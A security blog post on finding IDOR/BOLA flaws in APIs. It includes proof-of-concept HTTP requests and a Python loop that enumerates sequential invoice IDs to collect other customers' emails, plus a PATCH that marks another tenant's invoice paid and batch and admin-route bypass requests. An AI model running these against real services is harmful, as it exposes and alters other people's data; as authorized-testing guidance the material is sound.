cd ../blog

IDOR and BOLA: The API Bug That Never Leaves the Top 10

Broken object level authorization is the most common serious API flaw. We show how predictable identifiers leak other users' data and how to enforce ownership.

IDOR — broken object level authorization (BOLA) in API terms — is the bug where the server checks who you are but not what you are allowed to touch. Change an identifier, get someone else's data. This is how to hunt the missing ownership check and prove cross-tenant access.

Finding it

Authenticate with two accounts you control (call them A and B) — this is the single most important setup, because the proof is "A's token reads B's object." Then map every endpoint that takes an identifier and ask whether it scopes to the caller.

Where the check tends to be missing:

  • A new endpoint copied the "load by id" pattern but dropped the owner filter.
  • The authorization is a UI gate while the API is reachable directly.
  • Bulk/export endpoints that accept a list of ids and validate none of them.
  • Nested resources (/orders/{id}/items/{itemId}) that check the parent but not the child.
  • Non-GET verbs — PATCH, PUT, DELETE, file downloads — which are exploited far less and tested far less.

Recon technique: log every request as account A through Burp, then systematically replace A's object ids with B's. Watch for sequential integer ids (trivially enumerable) and note where UUIDs appear (still leak via referrers, logs, and other responses — obscurity is not authorization).

Proof of concept

Capture account B's invoice id, then request it using account A's bearer token:

GET /api/v2/invoices/10428 HTTP/1.1
Host: billing.example.com
Authorization: Bearer eyJ...ACCOUNT_A_TOKEN...

If A receives B's invoice (different name, different amount), that response is the finding. Then prove it scales by walking the range:

import requests
TOK = {"Authorization": "Bearer eyJ...ACCOUNT_A_TOKEN..."}
hits = []
for i in range(10000, 10100):
    r = requests.get(f"https://billing.example.com/api/v2/invoices/{i}", headers=TOK)
    if r.status_code == 200:
        hits.append((i, r.json().get("customer_email")))
print(f"{len(hits)} cross-tenant invoices readable")
for i, email in hits[:5]:
    print(i, email)

A hundred sequential 200s across multiple customer emails turns one leaked record into a mass-exfiltration demonstration.

Do not stop at reads. Write-side BOLA is usually higher impact. Try modifying B's object with A's token:

PATCH /api/v2/invoices/10428 HTTP/1.1
Host: billing.example.com
Authorization: Bearer eyJ...ACCOUNT_A_TOKEN...
Content-Type: application/json

{"status": "paid", "amount_due": 0}

A 200 here means A can alter or destroy B's data — far worse than viewing it.

Going further

Two close relatives are worth chaining in the same session:

  • BFLA (broken function level authorization): the missing check is on the operation, not the object. Take an admin-only route you found in the JS bundle (/api/admin/users) and call it with an ordinary user token. A 200 is vertical privilege escalation.
  • Nested/bulk bypass: an endpoint that validates the top-level id but blindly trusts a child id or an array element. Send a mix of your ids and the victim's in one bulk request and see which leak:
POST /api/v2/invoices/batch HTTP/1.1
Host: billing.example.com
Authorization: Bearer eyJ...ACCOUNT_A_TOKEN...
Content-Type: application/json

{"ids": [10001, 10428, 10002, 99999]}

If the array contains B's 10428 and the response returns it, the per-element ownership check is missing even though the route "belongs" to A.

The cleanest report is a deterministic pair: the same request differs only by the object id (or the token), and the response flips from B's private data to a 403 when the ownership check is present elsewhere. Include two account ids, the verbatim request, and one concretely leaked field from the other tenant. Use only accounts you legitimately control on authorized scope.